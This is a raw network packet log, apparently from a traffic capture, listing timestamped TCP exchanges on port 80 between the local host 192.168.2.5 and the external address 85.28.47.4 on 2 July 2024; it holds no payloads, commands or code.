Jul 2, 2024 04:12:09.389921904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389933109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389939070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389945984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389954090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389965057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389971018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389976978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389990091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389995098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390001059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390010118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390014887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390028000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390034914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390038013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390058041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390060902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390060902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390068054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390078068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390085936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390106916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390141964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390141964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390242100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390253067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390266895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390275955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390288115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390295029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390305042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390317917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390322924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390322924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390331030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390341997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390352011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390367985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390383959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390403032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390414953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390417099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390434980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390438080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390444994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390456915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390464067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390469074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390480995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390497923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390515089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390521049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390523911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390538931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390544891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390547991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390558958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390574932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390579939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390579939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390583992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390602112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390604019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390614986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390623093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390631914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390644073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390647888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390657902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390661955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390676022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390686035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390691042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390703917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390706062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390708923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390717030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390733004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390738010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390753031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390774012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390794039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390811920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390825033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390835047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390841961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390851974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390866041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390870094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390875101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390885115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390897989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390908957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390914917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390923023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390929937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390950918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390953064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390959978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390976906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390979052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.390990019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.390997887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391005039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391021967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391028881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391031981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391043901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391052008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391062975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391071081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391083002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391099930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391103983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391110897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391124964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391129017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391132116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391145945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391165018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391166925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391179085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391189098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391197920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391211033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391211987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391223907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391228914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391237974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391243935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391256094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391271114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391273975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391288996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391295910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391304016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391314030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391320944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391330957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391340971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391343117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391360044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391369104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391371012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391387939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391400099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391403913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391417027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391426086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391428947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391446114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391453981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391455889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391474009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391482115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391488075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391503096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391509056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391513109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391530037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391530991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391546011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391551971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391561031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391577959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391602039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391711950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391721964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391737938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391746998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391751051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391765118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391779900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391779900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391796112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391805887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391813040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391824961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391825914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391839981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391845942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391856909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391865015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391875029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391884089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391894102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391899109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391911030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391913891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391927004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391937971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391941071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391942024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391964912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391968966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.391992092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.391993046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392004013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392019987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392020941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392035961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392045021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392045975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392066002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392072916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392080069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392086983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392102003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392112017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392113924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392129898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392138958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392148972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392157078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392173052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392174006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392185926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392201900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392203093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392210007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392215967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392231941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392241955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392242908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392262936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392275095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392285109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392287970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392302990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392306089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392313957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392317057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392334938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392343044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392343998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392362118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392369032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392378092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392391920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392398119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392405033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392407894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392422915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392432928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392436028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392453909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392453909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392468929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392483950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392494917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.392509937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.392532110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.423113108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.427941084 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600281000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600296974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600344896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600374937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600374937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600404024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600413084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600435972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600446939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600466013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600611925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600649118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600651979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600687981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600745916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600784063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600826025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.600863934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.600974083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601011992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601090908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601110935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601120949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601130009 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601142883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601165056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601175070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601185083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601202011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601211071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601221085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601227045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601234913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601253033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601254940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601290941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601300955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601305008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601316929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601324081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601344109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601355076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601356983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601367950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601382017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601393938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601394892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601403952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601414919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601423979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601424932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601440907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601444960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601463079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601469994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601480007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601492882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601497889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601511002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601522923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601525068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601536036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601542950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601553917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601568937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601572990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601588011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601593971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601602077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601608992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601619005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601630926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601633072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601643085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601648092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601665020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.601669073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.601680040 CEST	80	49704	85.28.47.4	192.168.2.5
